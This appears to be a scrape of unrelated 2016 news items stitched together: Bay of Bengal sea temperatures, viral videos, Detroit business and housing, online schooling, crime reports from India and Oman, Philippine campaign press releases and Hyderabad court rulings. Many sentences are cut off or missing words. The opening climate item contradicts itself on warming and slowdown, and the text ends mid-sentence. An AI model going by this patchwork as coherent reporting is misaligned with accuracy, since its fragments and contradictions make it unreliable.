The rising trend in the sea surface temperature is due to increasing atmospheric CO2 concentration. The change is attributed to the increase in occurrence of cyclonic systems in the Bay of Bengal after 1995 leading to an increase in the mixing of cold subsurface waters with warm surface waters.

The slowdown in the SST rise, in the post-1995 period, is due to the increase in the number of depressions, cyclones and severe cyclone. Traditionally, Bay of Bengal has been 2 degrees Celsius warmer than Arabian Sea. While the average SST of Arabian Sea is 28 degrees Celsius, that of Bay of Bengal, has been 30degrees Celsius.

Although cyclones are very intense in terms of air-sea interaction, they are temporally short lived. However, the oceanic mixing process triggered by them could impact the SST for a longer time. The cooling in the case of Cyclone Nargis lasted at least a fortnight.

Thus, the Bay of Bengal can cool twice a year during spring-summer and fall-winter periods through episodic occurrence of cyclonic systems. This cyclone-induced cooling of the upper waters of the Bay of Bengal will increase with enhanced occurrence of the numbers of cyclonic systems, which in turn leads to a slowdown in the rise of the basin-wide SST.

However, it is not clear how long the present trend of slowdown in SST warming continue in the Bay of Bengal, NIOs Chief Scientist, S Prasanna Kumar, who was part of the study, said.

He added that in the long run, if the same trend continues, due to the lesser warming rate, for each decade, the temperature may decrease by at least less than a degree.
A man who went skinny-dipping in a lake ended up catching a fish thanks to his penis, according to a video posted on the Internet. The macho angler had plunged into a Russian river despite being warned that it was full of fish.

The video features a comment that says: This is a polar region  the land of tough fisherman and strong nibbles. A man called Alexie, who was handling the camera, is heard warning his nude friend about the grayling present in the water. But the naked angler ignores him and plunges into the water anyways.

However, a few seconds later he comes running out of the water, swearing loudly and covering his groin. It is then revealed that a huge live fish has attached itself to his manhood. The fish is later removed and thrown on the ground.

Click on the link below to view the video:
An online video shows several bulldozers ramming each other while passenger cars scurry away from the cloud of dust on a street in China. (Credit: YouTube)

Beijing: Police in northern China say an argument between construction workers escalated into a demolition derby-style clash of heavy machinery that left at least two bulldozers flipped over in a street.

An online video shows several bulldozers ramming each other while passenger cars scurry away from the cloud of dust on Saturday. The video shows one driver running unhurt out of a toppled bulldozer, a fast-moving type also known as a wheel loader.

Xu Feng, a local government spokesman in Hebei province's Xingtang county, said Monday that the workers were from two companies competing for business, but couldn't disclose details about arrests or injuries until an investigation concludes.

China's construction sector has fallen on hard times, with growth down by two-thirds from its peak a decade ago.

Click on the link below to view the video:
These two need no introduction  former TPCC president Ponnala Lakshmaiah, and former AP DGP and current chairman of Telangana Tourism Corporation Pervaram Ramulu.

Our journey of friendship began in a fortuitous way, recalls Ponnala. The demise of Ponnalas father led to a series of events that triggered a chain of life-changing experiences which fostered a bond between these two.

A medieval village backdrop set the stage for a friendship that would last for an entire lifetime. Qilashapur is known for its gigantic stone and mud forts and its myths and legends.

Following my fathers death, the entire family had to move to the village, where we were first provided accommodation by one Pervaram Santaji, father of Pervaram Ramulu who emptied his barn to provide shelter to my family, says Ponnala. This is how the friendship blossomed between Ramulu and Ponnala.

For those who believe that childhood friends are the best, this friendship serves as proof. We have been together since the days of Balashiksha (equivalent to first standard), says Ramulu.

While Ponnala was bright and brave, Ramulu was intellectual and innocent who needed Ponnalas company to travel to the Middle school in Devaruppala, a village near Suryapet.

The multipurpose high school headed by T.V. Narayana, a 90-year-old Padma Sri awardee marked a very interesting and eventful phase that built a bond that brought about so many history-making events in our lives, says Ponnala. Ramulu adds, Summer was the best time for us to get together for a fruitful pursuit. Both being regular readers and with Ponnala having the experience of working at the library, we brought out our own hand-written, illustrated weekly magazine Meghadoota where we wrote several critical reviews and covered political affairs.

True friendship is marked by a spirit to compete, so they participated in essay writing and elocution competitions, ending up in the top two positions every time. Time passed and their varied interests took them to different worlds. Ramulu went on to get a Masters degree while Ponnala pursued his interest in Engineering. Ponnala says, I ran to wake him up with the newspaper to give him the news of his selection for IPS.

Ramulu held several high positions in the police department while Ponnalas journey took him across the seas, working for a decade in the area of space applications before coming back to his native land. They were oceans apart, yet distance was a tiny deterrent to their friendship. Ponnala still fondly remembers Ramulus thoughtful gift of a suit piece (first suit in Ponnalas life) when he flew to the US for the first time.

Years later in the early 70s, Ponnala reciprocated the gesture with a round trip air ticket and covered the expenses during Ramulus visit to the US. He believes, It was not a return gift, but rather a gesture for the fortune of having company like that.

During my two weeks stay in the US, Ponnala who stayed in New Jersey, would drop me near his place of work every day, and from there I would take a bus to New York. I asked him one day, is this the way you treat a police officer? And he replied this is not India and for two weeks you are on vacation so be on your own. So they argue, discuss, agree and disagree during brainstorming sessions even till date.
Hanjin Group chairman Cho Yang-ho was reported by the Korea Times to have given up his management control and the board decided to apply for creditor-led restructuring plan. The government and main shareholder Korea Development Bank (KDB) had been calling for a restructuring of the company.

"Board directors of Hanjin Shipping decided to give up their management control for debt restructuring," said a KDB spokesman was quoted as saying.

Hanjin Shipping plans to submit an application to its creditors on Monday.

The Korean shipping line has KRW5.6trn ($4.93bn) in debt.
Produced by PricewaterhouseCoopers (PwC), the 48-page report calculates that the maritime business services sector as a whole now contributes 4.4bn to the UK economy annually and employs over 10,000 people. An estimated 80-85% of its business comes from outside the UK.

The report was launched at a breakfast briefing this morning hosted by the Lord Mayor of the City of London, Lord Mountevans, attended by Seatrade Maritime News.

In his opening address the Lord Mayor said he was particularly pleased that this independent maritime report had been launched on his watch. A former Clarksons broker, Lord Mountevans is an active supporter of matters maritime and also chairman of UK maritime services body Maritime London (which jointly sponsored the report), as well as having chaired the UK Maritime Growth Study which published its findings last September.

PwC assistant director David Smith, one of the authors of the report, highlighted how one of the main strengths of the UK maritime cluster is the insurance sector, which continues to fare well against international competition because of the increasing complexity with which the well trained and highly experienced UK insurers can deal. He also alluded to the spread of UK maritime law around the world thanks to the perceived dependability and fairness of the countrys legal system.

Indeed, the report claims that the depth and scale of the UKs talent pool remains unrivalled in comparison to other leading maritime centres such as Hong Kong, Singapore and Shanghai. It also notes that the UKs stable business environment, geographical location and time zone, plus Londons attractiveness as place to live, all benefit the cluster.

However, various UK weaknesses were identified in both the report and ensuing discussion, such as the reduced presence of both shipowners and shipping banks, and recent escalation in the cost of housing.

A full copy of the report can be downloaded below.
Kochi: Chiku, 28, a Malayali nurse working in Badar Al Samaa hospital at Salalah, Oman, for the past three years, was stabbed to death by an unknown assailant in a suspected case of attempted robbery.

Chiku, married to Linson Thomas, also working as a male nurse in the same hospital, failed to turn up for work at around 11 pm local time. Mr Thomas, who was on duty at the hospital, went to their apartment and found her dead with grievous injuries. T.I. Varghese, a close relative of the family, told this newspaper that the woman was suspected to be hacked with a sharp edged weapon.

Relatives of Mr Thomas working in Oman have gone to Salalah and we are waiting for information from them. We are utterly shocked by the incident, he said.

The body of Chiku is likely to be flown in to Kerala on Sunday or Monday, Mr Varghese said. Chiku was three months pregnant, according to her relatives.

Chiku is the eldest daughter of the Robert-Saby couple. Her younger sister is a student of D.Pharm course in a college in Cherthala.

External Affairs Minister Sushma Swaraj on Thursday said an Indian national working as a nurse in Oman was murdered and has asked the Indian Ambassador there for a report on the matter.

I am sorry to know about the murder of Ms.Chikku Robert - an Indian national from Kerala working as a nurse in Oman. /1  Sushma Swaraj (@SushmaSwaraj) April 21, 2016
The innovative spirit of Detroit, embodied in the legacy of Henry Ford, never really died. Its soul lives on, especially in Midtown.

The Brookings Institute

Leveraging the creative culture spawned by the educational and cultural legacy of Midtown, many believe this district could become a nexus of innovative thinking and commercial development for the entire region.

Nowhere is this more evident than in the historic Argonaut Building. Once a General Motors research and design facility, it's now home to the College for Creative Studies (CCS)

"There's an opportunity to think in an even bigger way than we did before...to make this a hub of all kinds of activity," says Rick Rogers, president CCS, of what's taking place in the Argonaut. "It was serendipity that Shinola showed up in Detroit looking for space. The rest is history."





Michael Forbes, product designer and licensing associate at the Henry Ford Innovation Institute Shinola, which assembles watches and bicycles in the building, sponsors design projects with CCS students and has hired some upon graduation.



A few blocks from the Taubman Center, Michael Forbes, a CCS graduate, is a product designer and licensing associate at the

One CCS team came up with concepts for a gown that allows for greater comfort and privacy while maintaining functionality. The institute performed additional research and development before licensing the design through the Henry Ford Health System (HFHS). Carhartt, the Dearborn work clothing company, was enlisted for early inventory production, and the Model G Patient Gown has since been licensed to Medline Industries for manufacturing, national sales, and distribution.

"The whole culture of Henry Ford Hospital, as an institution, has been innovating since it started 100 years ago," says Forbes. "Now we're going beyond what you think of as traditional health care and have created a focused way to cultivate ideas through the Henry Ford Innovation Institute program."

Established in 2011 to research, design, and develop new medical inventions, the institute launched the Davidson Fellowship in 2014 to foster the collaboration of people working inside and outside of the healthcare industry. The fellowship mixes formal classroom curriculum with team-based projects to address specific technology or health care problems. Currently, 26 fellows are participating in the program.

The institute is a part of the health systems

Dr. Suzanne White, chief medical officer at the DMC The health systems competitor, the

The lack of primary care sites in Detroit is a perplexing problem that results not only in less preventive care, but people compensating through the use of hospital emergency facilities.

"Rather than a turning-away program, its a welcoming program," says Dr. White.

The DMC has enrolled 2,000 patients -- 200-300 per month -- since starting the program in 2014. Dr. White says she expects to meet the organizations goal of 14,000 by the conclusion of the program in 2017.

Paul Riser, director of technology-based entrepreneurship at TechTown, meets with a team of executives in residence to review entrepreneurial proposals for potential startups. He also has monthly meetings with the Wayne State Tech Transfer office to identify prospective intellectual property, and works with the universitys engineering and medical schools to support the development of ideas from students, faculty, and researchers. Ideas are not actually "transferred" to TechTown Detroit, but "shared" with the

"There are opportunities to offer commercialization guidance and resources from internal team members or from curated resources within the ecosystem," says Riser.



With so many major institutions collaborating on ventures and solutions, Midtown Detroit will be integral to the region's economy for years to come.
It used to be that if your child attended a high school with a limited number of electives and only a couple advanced placement classes, there were only so many options available for them to explore their interests and prep for college.

Not anymore. With online classes, many students now have access to a learning tool that reaches across school districts.

That doesn't mean signing up your student is a no brainer. Adding online courses to a students workload is often a difficult decision, especially with the great variety of options, from subject matter to instructor. Like traditional courses, the quality can vary and is only as good as the instructor who prepares and administers the program.

For parents deciding if online courses are right for their child, here's some things to consider.

The most obvious advantage to online education is convenience. Since students dont need to be in the classroom, access isn't limited by time or distance. This flexibility allows students to obtain course credit and take college preparatory classes in spite of a busy schedule or extraneous circumstances.

Trinity Bauer and Theresa McCready, both freshman at Sault Area High School, in Sault Ste. Marie, Michigan, took an online course in Latin through the

"We wanted to learn Latin because of its connection to science terms and English word origins," says Bauer.

Online learners also aren't restricted by the speed of instruction from their teacher, or retention of fellow students -- they can go as fast or slow as they want.

"I really like being able to work at my own pace," McCready says. "I can work ahead, or, if I get really busy, I can fall behind and catch up later with no repercussions to my grade."

Another student, Carlin Delisi, at Clarkston High School in Clarkston, Michigan, chose to take two online classes after suffering an injury and burnout as a result of an intensive school and gymnastics training schedule. The courses allowed her to spend more time at home recuperating.

Online learning appears to be a natural fit for todays tech savvy, connected youth. A report titled, "

Students can use a variety of devices to access online courses including computers, smartphones, tablets, and even an Xbox.

More reasons to procrastinate

The freedom that comes from learning at a distance can also create challenges. The problem of procrastination, for example, is exacerbated by learning online. Therefore, students taking online classes need to be self-motivated and capable of working independently.

"I would not recommend an online class to students who procrastinate," says Bauer.

External motivation can be a huge help. Parents and mentors usually should assist with keeping students on track to complete their online courses, much like they would if the student were in a regular classroom setting.

Perhaps for this reason, there's no conclusive data that online students retain information better. According to an analysis published by the U.S. Department of Education in 2010, students in online courses scored only "modestly better" than their in-class peers.

Fortunately many of the negative aspects of online learning, such as not being able to meet face to face with instructors, can be offset with technology -- it's commonplace to regularly connect with teachers via Skype and real time chat sessions.

The best of both

Some schools offer courses that are a blend of in-person and online instruction. Their structure can be counterintuitive, but the new methods offer exciting pedagogical possibilities.

At Carlson High School in Gibraltar, Michigan, Rocco Giorgi teaches a pre-calculus "flip" class where students do homework in class.

"I

Prior to the flip, Giorgi found that students weren't retaining information from his lectures or completing the homework as much as he would have liked.

"With this new method, all they have to do is sit at home and take notes from the video," he says. "Then they come to class and do everything together while I'm there, so I can answer questions from the lecture."

Giorgi claims that students in his flip class have outperformed students in his traditional one, and thinks more teachers should experiment with blended teaching, which he sees as the wave of the future.

"I do believe it works, and I believe students enjoy it."

This story is part of a series on online education in Michigan. Support for this series is provided by
Mumbai: A doctor from Shivaji Nagar has been arrested for allegedly raping an underage girl while she was undergoing treatment at his private hospital, on Wednesday.

According to Shivaji Nagar police officials, Dr Lokesh Chari (36) had treated the 15-year-old victim at his hospital in Shivaji Nagar area of Govandi last month following an illness. But according to the complaint lodged by the girls parents, while she was in the hospital, the doctor administered her saline mixed with sedatives, due to which she lost consciousness. Following this, the accused allegedly raped her.

When the girl regained consciousness, the doctor revealed what he had done to her claiming that while she was losing unconsciousness, she had seduced the doctor. Later, the doctor asked the girl to come to his place threatening to reveal their sexual encounter to her parents.

Sources from the police said that for about a month after the incident, the doctor would call at the girls place and rape her. Three days ago, the teenager finally gathered her courage and revealed the entire matter to her parents who approached the police

Based on her complaint, the Shivaji Nagar police registered an offence on Tuesday night against the doctor under sections 376 (rape), 328 (causing hurt by means of poison, etc., with intent to commit and offence) and 201 (causing disappearance of evidence of offence, or giving false information to screen offender) of the IPC, Pocso 5, 6. The doctor was arrested on Wednesday.
Michigan's venture capital community continues its rise with another year of growth, and Detroit's tech scene is playing a significant role.With $328 million in 2015, Michigan enjoyed its best year of venture capital investment. That's up from $224 million the year before, and $246 million from the second highest year in 2012, according to a new report from the Michigan Venture Capital Association . In total over the last decade, Michigan has seen a 150 percent increase.Detroit's rise as a center for tech mirrors that climb. There was little to no venture capital activity downtown 10 years ago. Today, it's home to several venture capital firms that make early stage investments in tech firms, many of which are based in or near Madison Block . One of Michigan's two largest VC funds, the Renaissance Venture Capital Fund , a fund so large it only invests in smaller VCs, is also located downtown."Detroit is a big area of focus," says Maureen Miller Brosnan, executive director of the Michigan Venture Capital Association. "Automotive and IT technologies are a great areas of growth."VC growth is happening at a time when it's on the wane across the U.S. According to the same Michigan Venture Capital Association report, the number of venture capital firms headquartered in Michigan, their total capital under management, and number of venture capital investments made in Michigan, has doubled and in some cases tripled while those numbers have decreased nationally.That build up has come from a combination of capital from private and public sources. While the Renaissance Venture Capital Fund has accumulated its money from private funds, it's counterpart the Venture Michigan Fund got its backing from government. The Michigan Department of Treasury helped establish local VC infrastructure over the last decade, including the Venture Michigan Fund, by providing investors with up to $450 million of tax-voucher certificates.Future support from the state of Michigan, however, is not guaranteed. That doesn't mean anyone is deterred. Rather, they're striving for greater self-sufficiency."Firms are looking at this and saying were going to have to do this on our own," Brosnan says.
Nexcess is doubling down on its commitment to Southfield, adding two new data center support facilities this spring and making plans for a new data center.The 16-year old company specializes in providing IT, data center, and managed hosting services to companies large and small. It is currently in the latter stages of building out two data center support facilities that would double its footprint in Southfield."We like having our data centers near our people and our people near our data centers," says Chris Wells, CEO of Nexcess Nexcess has has data centers around the world, including in Dearborn, the United Kingdom, Australia and the Netherlands. While it's grown internationally, most of those jobs have been added in Metro Detroit. It currently employs 112 people and expects to add another 35 after it opens and staffs up its new facilities on Melrose Avenue in Southfield this spring.Nexcess averages about 30 percent annual revenue growth. It has spent the last six years on the Inc 5000 list and the last three years on the Deloitte Fast 500 list. Because of this growth, its data center facilities working capacity has begun approaching its limits."We're going to need to build a new data center soon," Wells says. "Our current Southfield data center is approaching 60 percent usage. It's starting to get a little tight."
In prior decades, Detroit had very little new building construction. Not anymore, especially for residential units.According to a report recently released by the Southeast Michigan Council of Governments (SEMCOG), Detroit issued more permits for new residential units than any other city in southeastern Michigan last year.There were 913 residential units permitted in Detroit in 2015, more than double the second-highest city on the list, Ann Arbor, at 405 units. Canton, the only other city in Wayne County to make the top ten, came in third with 397 residential units permitted.Of the 913 residential units permitted in Detroit, 97 percent were apartment and loft units. Broke down further, there were 882 apartment units, 17 condominium units, and 14 single family homes permitted in 2015.According to the report, "Gains continued in apartment construction due to pent-up demand for rental housing from young professionals and downsizing households, low vacancy rates, and a growing job market."Still, it's not all rosy in Wayne County. According to this Detroit Free Press article from March 28, 2016 , new census numbers revealed that the county lost 6,673 residents between July 1, 2014 and July 1, 2015, the second highest population decline in the country. Only Cook County, Illinois lost more during that period. Though second place is better than first, which is what Wane County occupied for the previous eight years.Detroit also far exceeded any other city in demolitions, razing 4,667 residential units in 2015.
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April 22, 2016 CHIZ WANTS SEAMAN'S BOOK RENEWED EVERY 5 YEARS Independent vice-presidential candidate Sen. Francis "Chiz" Escudero is proposing to lengthen the validity period for seafarer's identification and record book, or better known as the seaman's book, to up to five years to reduce the regulatory burden on around 400,000 Filipino seafarers. A seaman's book, which is essential to any maritime worker when boarding a vessel for work anywhere in the world, is only valid for one year and costs around P960 to P1,500. It has to be renewed yearly by a seafarer, who has to endure long lines and long waits at the Maritime Industry Authority (MARINA) office in Manila. "Seafarers have to renew the seaman's book every year. If you make it five years, they don't have to fall in line every year. Let them fall in line once every five years if you want," Escudero pointed out. The veteran lawmaker said that increasing the validity period for seaman's book is just one of the many measures that he and his presidential running mate, Sen. Grace Poe, will implement to ease the burden of overseas Filipino workers (OFWs), should they get elected next month. Escudero earlier revealed that the "Gobyernong may Puso" plans to set up a P100-billion fund for the millions of Filipino migrant workers to finance a wide-ranging services to them, including the establishment of a separate department to cater to the needs of OFWs. The Poe-Escudero tandem has been proposing reduced fees and greater government assistance for OFWs, which number around 2.3 million. The total migrant population, however, is estimated to around 10 million or 10 percent of the country's entire population. Of this number, some 401, 826 are sea-based workers as of 2014. The Philippines provides more seafarers to the global market than any country in the world, accounting for more than 25 percent of the world's mariners. Escudero extolled the seafarers as "modern-day heroes" because they not only keep the Philippine economy afloat but also serve as the country's "sailing ambassadors." Thus, he promised to relax regulatory requirements for their deployment abroad by cutting the red tape in the processing of their documentation, including licenses and training requirements. "It would be our way of thanking our sailing ambassadors for their contribution to the economy through their remittances, which averaged to $5.34 billion, or roughly P247 billion, in the last four years," Escudero said. Data from the Bangko Sentral ng Pilipinas show that Filipino seafarers remitted an estimated $5.8 billion in cash in 2015. This amount is about one-fifth of the estimated $25.8 billion OFW remittances last year.
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April 22, 2016 Legarda: Local Gov't Leaders in PHL Support Early Ratification

of Paris Agreement In time for Earth Day, local government leaders in the Philippines expressed their support for the immediate ratification of the Paris Agreement that will be signed by world leaders today. Senator Loren Legarda, who is in New York as Co-Head of the Philippine Delegation for the Paris Agreement Signing Ceremony at the United Nations Headquarters, announced that the Union of Local Authorities of the Philippines (ULAP), the umbrella organization of all leagues of local government units (LGUs) and locally elected officials in the country, has called on the government to immediately adopt the Agreement. "Local leaders must be at the forefront of climate action to ensure that solutions will address the specific climate vulnerabilities of communities. I am glad that our LGUs have joined our efforts to ensure the early entry into force of the Paris Agreement. I hope that the ULAP Resolution will be passed by all local legislative bodies in their respective assemblies to build up healthy amount of pressure for immediate ratification of the Agreement," said Legarda, UN Global Champion for Resilience and Chair of the Senate Committee on Climate Change. In ULAP Resolution No. 2016-01, local government leaders, led by Governor Alfonso Umali Jr. (ULAP President), Mayor Leonardo Javier (ULAP Vice Chairman), Mayor Herbert Bautista (ULAP Executive Vice President), and Board Member Edmund Abesamis (ULAP Secretary-General), stressed that acting on the climate crisis is an intergenerational commitment. They have committed to ensure the institutionalization of the country's commitments under its Nationally Determined Contribution (NDC) and to continue the urgent appeal for world leaders to implement the agreements on reducing emissions, formulating and implementing mechanisms on climate finance in the context of loss and damage and adaptation, mitigation, technology transfer and capacity building for countries vulnerable to climate change. The organization also encourages its membership and their constituents to ensure a smooth transition to clean and sustainable energy by phasing out coal-fired power plants by the year 2050 while maximizing efforts to shift to renewable energy. They likewise committed to fully cooperate with concerned authorities and institutions in developing and implementing programs in accordance with the guidelines prescribed by the authorities, particularly in formally accessing the People's Survival Fund for local climate actions and programs. ULAP's member leagues are the: (1) League of Provinces of the Philippines, (2) League of Cities of the Philippines, (3) League of Municipalities of the Philippines, (4) Liga ng mga Barangay sa Pilipinas, (5) League of Vice Governors of the Philippines, (6) Vice Mayors' League of the Philippines, (7) Provincial Board Members of the Philippines, (8) Philippine Councilors League, (9) National Movement of Young Legislators, and (10) Lady Local Legislators League.
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April 22, 2016 HUGE CROWD GREETS BONGBONG MARCOS IN LP BAILIWICK OF GINGOOG CITY Vice Presidential candidate Senator Ferdinand "Bongbong" R. Marcos, Jr. got a pleasant surprise on Thursday afternoon when a huge crowd turned out to welcome his "Unity Caravan" in Gingoog City in the province of Misamis Oriental. Located in the northern region of Mindanao, or around 122 kilometers east of the capital city of Cagayan de Oro, Gingoog City has an estimated population of over 117, 000 and considered a bailiwick of the ruling Liberal Party. The city's incumbent mayor is Stella Marie Guingona, the sister of LP stalwart and re-electionist senator Teofisto Guingona III. A crowd, estimated at around five thousand, gave Marcos a rousing welcome as he entered a makeshift stage at the Gingoog public market, many chanting his name and jostling each other in a bid to shake his hand or have a selfie with him. Marcos expressed elation said, "I did not expect to see these many people here. Thank you very much for your very warm welcome and for coming to this event even on just a short notice." He then reiterated his call for national unity, which he said is necessary to enable the country to overcome the multitude of problems facing us today to usher a brighter future for all Filipinos. Marcos cited the Mindanao power problem as an example of how years of divisiveness have hampered new developments. "For thirty years we have this power problem and it is still with us. What happened? We have all seen that the politics of division has prevented our leaders from giving us the projects and programs that we need to solve this power problem," he said. The event at Gingoog was organized by the local supporters of Marcos in the city, led by Besben Maquiso. Before the event, Marcos conducted a brief motorcade around the city and inaugurated the BBM (Bongbong Marcos) Volunteer Center located at 22 Rodriguez Street where hundreds of people also welcomed him.
POE URGES RIVALS TO FOCUS ON ISSUES IN LAST DEBATE

Sen. Grace Poe appealed to her fellow presidential candidates to refrain from mudslinging and name-calling during the third and final PiliPinas Presidential Debates to be held this Sunday.

Poe, known for her calmness and composure, reminded the candidates that when the campaign is over, it's all business as usual.

"Pakiusap ko sa lahat ng kandidato, sana huwag namang magtawag ng mga masasakit na pangalan dahil pagkatapos nito balik rin naman tayo sa pagiging kung sino tayo," Poe said in a radio interview during her visit to Bacolod City yesterday.

Poe added that candidates should serve as an inspiration and set a good example by being responsible with the words they choose.

"May responsibilidad kaming ayusin ang aming pananalita at ayusin ang aming pagkilos sapagkat bilang isang lider, hindi ka lang nagbibigay ng order, ikaw ay nagbibigay ng inspirasyon at halimbawa," she said.

"Masakit 'yon sa mga pamilya. Ang mga tao na sasabihin 'puwede pala 'yon? Puwede pala nating gawin 'yon?'" Poe said.

With more than two weeks to go before Election Day, Poe said candidates should just focus on issues that are relevant to the Filipino people.

Poe will share the stage with four other presidential candidates for the Luzon leg of the presidential debates to be held at the Phinma-University of Pangasinan in Dagupan City. The town hall-type debate is sponsored by the Commission on Elections and hosted by ABS-CBN and Manila Bulletin.

The senator, the lone independent presidential aspirant, has been lauded for her performance in the last two debates, where she was chosen by analysts as the one who stood out for being articulate and coming prepared with research to back her positions.
Press Release

April 22, 2016 POE: PEOPLE SHOULD NOT LIVE IN FEAR OF GOV'T In fighting crime and corruption, independent presidential aspirant Sen. Grace Poe said the government must be careful not to instill fear among its citizens or to threaten hard-won democratic rights. Speaking before a crowd of 30,000 in Palawan, Poe said that while measures must be done to ensure that people will not be afraid of being victimized by criminals, they should also not be afraid of their government. "Bakit natin isusuko ang ating kalayaan na mabuhay nang hindi takot? Mga kababayan, ang gobyerno ang dapat matakot sa inyo at hindi kayo ang dapat matakot sa gobyerno. Dapat kami ang mananagot sa inyo, hindi namin kayo dapat binu-bully," Poe said, drawing cheers from supporters in Puerto Princesa City. The senator, who vowed to address poverty in her campaign against criminality, said violence should not be used to fight violence. "Ayoko namang basta sabihin 'papatayin ko,' sapagkat kung nagkamali at isang buhay na inosente ang nawala, maghihigantihan tayong lahat. Hindi na 'yan matatapos at nakakatakot 'yan," she said. "Pero maniwala kayo, 'pag gumawa kayo ng kalokohan sa aking gobyerno, kaibigan man kita o kaaway, ipapakulong kita," said Poe, who has investigated top military and police officials, and even President Bengino Aquino III, as chair of the Senate Committee on Public Order and Dangerous Drugs. In her campaign sorties across the country, Poe, the first foundling to run for president, has often highlighted the strength and compassion of women leaders like her. As the adoptive daughter of movie icons Fernando Poe Jr. and Susan Roces, Poe said she was taught well by two of the kindest and bravest people she knew: FPJ taught her to fight for what is right but never to be arrogant while Roces, though gentle and prayerful, was among the first to condemn the Arroyo administration when FPJ lost in the 2004 presidential elections that was marred by fraud. "Mga kababayan, wala akong pinagmanahang duwag, kaya huwag kayong matakot na hindi ko kayo kayang protektahan," she said. Poe made the rounds of Palawan and Negros Occidental Thursday with running mate Sen. Francis "Chiz" Escudero and the senatorial bets of their Partido Galing at Puso. They were accompanied by "Ang Probinsiyano" star Coco Martin, who has expressed support for Poe's presidential bid. In her meeting with business leaders in Palawan, and later at her political rally, Poe promised Palawenos that she would address their problem of power and water shortage by tapping cleaner energy sources and building water catchment facilities. She also said the province, where some of the most beautiful islands in the world are located, should have greater national government support to boost eco-tourism. "Ang Palawan ay nagbigay sa akin ng mataas na boto noong 2013. Hindi ko kayo kakalimutan at hinihiling ko na sana ay bigyan niyo ng pagkakataon ang isang makatarungan, ang isang mapagmalasakit at ang isang matulungin na lider. Mga kababayan, ako po ay para sa inyo," Poe said. On Wednesday, Poe was in Cagayan de Oro where she was welcomed by some 60,000 supporters. The independent candidate has been staging back-to-back rallies and drawing some of the biggest crowds in the campaign.
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April 22, 2016 GRACE POE ON THE SIGNING OF PARIS AGREEMENT We hail the signing of the Paris Agreement on climate change today (April 22), which is also Earth Day, at the United Nations Headquarters in New York City. We support the decision of President Aquino to sign it, and congratulate our delegation led by Environment Secretary Ramon Paje and Climate Change Commission's Emmanuel de Guzman as they participate in the signing ceremony. I call on the Senate to immediately ratify the Paris Agreement. I will certainly lead and participate in this effort. After ratification, the next task for us is to honor our commitment as captured in our Nationally Determined Contribution. If elected President, I will be faithful to this pledge and reduce our emissions by 70 percent relative to business-as-usual levels by 2030. This means we will have to make a rapid transition to renewable energy and effectively protect our forests and ecosystems. We will also accelerate adaptation efforts so that our people and communities become more resilient. Climate change is the most serious environmental threat that faces the world. As we saw in Typhoon Yolanda in 2013 and the drought now afflicting Mindanao, its effects are deadly and catastrophic for the country. With political will and our children's future in mind, we will spare no effort in honoring our word.
Mr Reddy moved a plea before the High Court seeking quashing of the case saying that he was falsely implicated in the case by the CBI.

Hyderabad: Justice Challa Kodandaram of the Hyderabad High Court on Thursday refused to stay the GO issued by the TS government declaring six surrounding villages of the city as municipalities and merging them into the Greater Hyderabad Municipal Corporation.

The judge was dealing with a petition by T. Vikram Reddy challenging the merger of Meerpet, Jillelaguda, Balapur, Jalpally, Kothapet and Pahadi Shareef villages into the GHMC by declaring them as municipalities.

TS stand sought on Transco mans plea

A division bench, comprising Justice Reddy Kantha Rao and Justice B. Siva Sankara Rao, of the Hyderabad High Court on Thursday sought the stand of TS government on an appeal by Kancharla Raghu, a superintendent engineer of the TSTransco, Warangal circle, questioning the decision of the government preventing him from participating in the public hearings conducted by TS Electricity Regulatory Commission.

Mr Raghu filed the appeal after a single judge declined to give any interim direction to the authorities to enable him to participate in the forthcoming public hearings. Mr Raghu is known as a power sector activist and has been a regular invitee by the authorities themselves for public hearings. The bench directed the state, its Transco and the Regulatory Commission to file their counters on the issue.

CBI court gets time to decide on plea

Justice Raja Elango of the Hyderabad High Court on Thursday directed the Special CBI Court of the city to decide within three months on the discharge petition filed by former IRS officer K.V. Brahmananda Reddy in the Y.S. Jagan Mohan Reddy illegal investments case.

The CBI charged Mr Reddy, who was the then special secretary in the investments and infrastructure department of undivided AP, of being instrumental in signing the concession agreement for land allotment to Vanpic on July 11, 2008.

Mr Reddy moved a plea before the High Court seeking quashing of the case saying that he was falsely implicated in the case by the CBI. He said that he did his job in accordance with administrative rules and implemented the decisions taken by the Cabinet.

Mr Reddy said that the CBI had not even produced a single piece of evidence to prove that he had personally benefited from the agreement.

between Vanpic and the government.

He told the court that he had already moved the discharge petition before the CBI Court and there was a delay in hearing that petition. While granting Mr Reddy exemption from personal appearance before the CBI Court, the judge directed the trial court to take a decision on discharge petition within three months

Justice Elango also granted exemption from personal appearance to Nimmagadda Prasad, an industrialist and one of the accused in the case.
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April 22, 2016 Recto: 4Ps and coco levy may make it as P-Noy's 'midnight laws' If there is midnight appointment, why not "good" midnight legislation? According to Senate President Pro-Tempore Ralph Recto, Congress may still enact the 4Ps Institutionalization Bill and the Coco Levy Bill into law since it has three more weeks of session days before a new President is sworn into office. The key, Recto said, is for presidential and vice presidential candidates to stand united on these issues and marshal their forces in Congress for the timely enactment of the twin measures. "Call it midnight laws or whatever. The fact remains that we, in Congress, can work overtime if need be, just to ensure the passage of the bills on 4Ps and Coco Levy," Recto said. To expedite the passage of the twin measures, Recto proposed that legislative members who are gunning for the top two positions in government can be co-sponsors of the two landmark pieces of social legislation. "Lahat sila, pareho naman ang sinasabi sa sorties, debates and interviews. Na dapat isabatas ang pagsasauli ng coconut levy at gawing permanente ang Conditional Cash Transfer (CCT) program, o yung Programang Pantawid Pamilyang Pilipino (4Ps). They're reading from the same page," Recto said. Recto said "there is still time to pass the two bills before the curtains fall on this Congress." "And all the actors in the presidential and VP race are either members of the Senate or the House, or have kin in the Senate, or have a senator as running mate," Recto said. Presidential candidates Grace Poe and Miriam Defensor Santiago are incumbent senators while Vice President Jojo Binay's daughter, Nancy is a sitting senator like Alan Peter Cayetano, running mate of Davao Mayor Rodrigo Duterte. In addition to Cayetano, four other vice presidential aspirants are members of the Senate club: Gregorio Honasan, of Binay's UNA party; Chiz Escudero, who teamed up with Poe; Bongbong Marcos, running mate of Santiago; and independent candidate Antonio Trillanes IV, who is supporting Poe. The sole member of the House in the VP field is Leni Robredo of the Liberal Party. "Si Leni representative ni Mar. Si Binay dalawa kinatawan, si Gringo at si Nancy, while Digong can be ably represented by Alan Peter, who is our Majority Floor Leader," Recto said. "Kung sino man manalo sa kanila, pag-upo pa lang, may batas na," the senator added. Recto said the two measures can be approved during the three-week post-election window. Both houses of Congress will reconvene on May 23 for a three-week session that will end in June 10, or 20 days before the new president is sworn into office. Though dismissed as a lameduck session, Recto would rather call it "a time to create a legacy." While work in the three 